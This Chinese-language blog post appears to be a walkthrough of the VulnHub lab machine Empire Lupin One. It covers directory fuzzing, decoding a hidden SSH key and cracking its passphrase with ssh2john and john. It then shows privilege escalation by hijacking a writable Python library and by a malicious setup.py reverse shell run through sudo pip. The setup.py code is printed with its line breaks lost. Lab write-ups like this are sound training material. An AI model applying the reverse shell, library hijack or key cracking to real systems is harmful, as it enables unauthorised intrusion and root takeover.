01-Empire-Lupin-One vulnhub靶场(ssh2john)

kali攻击机ip ：192.168.181.129

忘记打开nat模式了，用的桥接模式，懒得重启了，反正ip已经告诉我们了，那就先用着吧

端口扫描（有点慢）

nmap -sS   -p 1-65535 -A 192.168.1.108

查看80端口

别放弃！

目录扫描

disallow，不信，我要看看

看看页面源代码，叫我们继续尝试

那就再扫扫这个目录

 wfuzz  --hw 31 -w /home/user/fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt  -u http://192.168.1.108/~myfiles/FUZZ

啥都没有

根目录也扫扫

wfuzz  --hw 31 -w /home/user/fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt  -u http://192.168.1.108/FUZZ

啥都没有

难道要跟着这个~myfiles一样的格式？试试吧

 wfuzz  --hw 31 -w /home/user/fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt  -u http://192.168.1.108/~FUZZ

居然有了，这哥们有强迫症啊

~secret

有几个重点：

作者弄了一个ssh私钥文件，放在这里一个隐蔽的地方
crack passphrase with fasttrack
作者名叫icex4

先查查这个fasttrack是啥

一开始我还以为是个类似hydra的密码爆破的工具，后来发现这是kali自带的一个字典文件fasttrack.txt

想偷懒试试直接爆破ssh密码

果然没这么轻松=_=

再看看别的吧

回到ssh私钥，可能在这个url目录底下藏着

继续使用wfuzz模糊测试

先试试正常的小字典，.txt后缀

wfuzz --hw 31,28 -w /home/user/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -u http://192.168.1.108/~secret/FUZZ.txt

不行

换个后缀也不行，.php,.html都试过了，都不行

不会是字典问题吧，可是大字典要跑好久好久=_=（而且wfuzz和dirbuster经常没跑完就停了，别问我怎么知道的）

不会这么为难人吧，应该是别的地方出问题了

提示里面说了个hidden，有点提醒到我了，难道这个私钥文件还是个.开头的隐藏文件？

wfuzz --hw 31 -w /home/user/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -u http://192.168.1.108/~secret/.FUZZ.txt

终于，有一个.mysecret.txt文件浮出水面

其实还有一个fuzz的工具也挺好用的，叫ffuf，kali自带的。

ffuf可以一次性指定多个文件后缀爆破，不用像wfuzz和dirbuster一样要一个个试；而且我用大字典ffuf也能跑完，就是时间有点久，要有耐心

查看.mysecret.txt

可是一看就不对劲啊，私钥哪是长这样的，一般格式都是开头有个----- BENGIN xxx PRIVATE KEY-----，然后结尾就是-----END xxx PRIVATE KEY-----这样的吧

所以很大可能是编码过的

这个网站有各种密码的解码工具

解码平台

一个一个试吧=_=，我是真看不出来这是啥编码方式

试出来了！是base58！确实没见过

这才像样嘛

写入文件

vim id_openssh

缩小密钥文件权限，不然会报错

 chmod 600 id_openssh

还要密码，看来设置了私钥+密码登录ssh

使用john爆破密码

安全工具——John the Ripper - 先知社区 (aliyun.com)

如何使用开膛手约翰破解SSH私钥密码 « 空字节：： WonderHowTo

john识别不了id_openssh，需要将密钥文件转换为john兼容的攻击文件

ssh2john /home/user/vulnhub_p_u/empire_lupinone/id_openssh > passwd.hash

john  --wordlist=/usr/share/wordlists/fasttrack.txt  /home/user/vulnhub_p_u/empire_lupinone/passwd.hash

P@55w0rd!

ssh  icex64@192.168.1.108  -i id_openssh

既然有密码，那就查看一下suid权限命令

sudo -l

一个py文件，引入了webbrowser包，输出一句话，并且打开作者的网站

查看用户目录

cd /home
ls
cd arsene/
ls

发现了两个文件，其中一个就是sudo -l发现的root权限命令

查看note.txt

你能帮忙检查我的代码是否可以安全运行吗，我需要用于我的下一次抢劫。

我不想让其他人进入它，因为它可能会危及我的帐户并找到我的秘密文件。

只有您可以访问我的程序，因为我知道您的帐户是安全的。

另一边见。

heist.py root权限可读写

查看隐藏文件，secret欸

都没权限查看

回去icex64的目录查看

cd icex64

cat user.txt

一顶帅气的帽子，还有一行字符串

3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}

可能是密码？

不是arsene的登录密码

查看隐藏目录，查看bash日志，发现icex64登录过root想尝试刚刚的密码是不是root密码

cat .bash_history

想尝试刚刚的密码是不是root密码

好吧也不是

有点懵逼，信息收集的差不多了，但是感觉无从下手

只能回去看看刚刚的信息还有什么没用上

遗漏了这个webbrowser包，一开始就发现了，但没有深入查看

查找webbrowser包路径

webbrowser.py拥有好高的权限，普通用户都可以写入，那我就不客气了

cat webbrowser.py

因为heist.py脚本中调用了webbrowser.open()，所以我选择在open函数里面插入os.system("/bin/sh")提权命令；当heist.py执行open()时，就能切换到arsene用户的shell

因为是利用arsene权限执行，所以要写成sudo - u arsene

sudo -u arsene  /usr/bin/python3.9 /home/arsene/heist.py

弄个回显 python3 -c 'import pty;pty.spawn("/bin/bash")'\;

第一时间去看.secret，虽然不知道有啥用

rQ8EE"UK,eV)weg~nd-`5:{"j7*Q

sudo -l

可以以root身份执行pip

pip提权

在执行pip install时会调用setup.py，可以在本地创建恶意setup.py文件来达到任意命令执行的效果

写入py脚本，我是直接在/home目录下新建文件的，别的地方没试过，不知道行不行

cd /hometouch setup.pyvi setup.py

from setuptools import setup
from setuptools.command.install import install
import os, socket, subprocessclass CustomInstall(install):def run(self):install.run(self)s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",1234))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])setup(name='FakePip',version='0.0.1',description='Reverse shell',url='xx.xx.xx.xx',author='nathan',author_email='xx@xx',license='MIT',zip_safe=False,cmdclass={'install': CustomInstall})

kali打开nc监听1234端口

使用命令强制pip重新安装当前版本

sudo pip install . --upgrade --force-reinstall

连上了，获得root权限

获得flag，不过这个3mp!r3到底是啥玩意啊？？！！！！

o了

01-Empire-Lupin-One vulnhub靶场(ssh2john)相关推荐

01 - Empire Lupin One
目录一.信息收集二.漏洞发现三.权限提升总结一.信息收集常规的主机发现以及端口扫描,扫描自己所在的网段. nmap 192.168.216.0/24 nmap -A -v -T4 -p 1 ...
靶机11 Empire Lupin One
总结本次靶机涉及信息泄露漏洞,系统配置漏洞,sudo 提权 ffuf 工具暴力破解目录在线识别算法:https://www.dcode.fr/cipher-identifier ssh2john工 ...
vulnhub靶场，Monitoring
vulnhub靶场,Monitoring 环境准备靶机下载地址:https://www.vulnhub.com/entry/monitoring-1,555/ 攻击机:kali(192.168.10 ...
Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
vulnhub靶场，covfefe
vulnhub靶场,covfefe 环境准备靶机下载地址:https://www.vulnhub.com/entry/covfefe-1,199/ 攻击机:kali(192.168.109.128) ...
靶场练习第一天~vulnhub靶场之Me-and-My-Girlfriend-1
兄弟们第一天打vulnhub靶场,我kali连靶场ip都扫不到,泪奔了,不说了开整注意: vm虚拟机里面的编辑下面的虚拟机网络编辑器,把除了NAT模式外的模式,其他模式不启动. 至于为什么要这样操作 ...
VulnHub靶场系列：Flick
VulnHub靶场系列:Flick 今天意外看到一个VulnHub上的一个靶场的WriteUp,觉得挺有意思,所以自己试着做一遍并记录下来. 环境部署: 下载靶场并导入到VMware中: https: ...
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...
vulnhub靶场，bulldog1
vulnhub靶场,bulldog1 环境准备靶机下载地址:https://www.vulnhub.com/entry/bulldog-1,211/ 攻击机:kali(192.168.109.128 ...

01-Empire-Lupin-One vulnhub靶场(ssh2john)

01-Empire-Lupin-One vulnhub靶场(ssh2john)相关推荐

最新文章

热门文章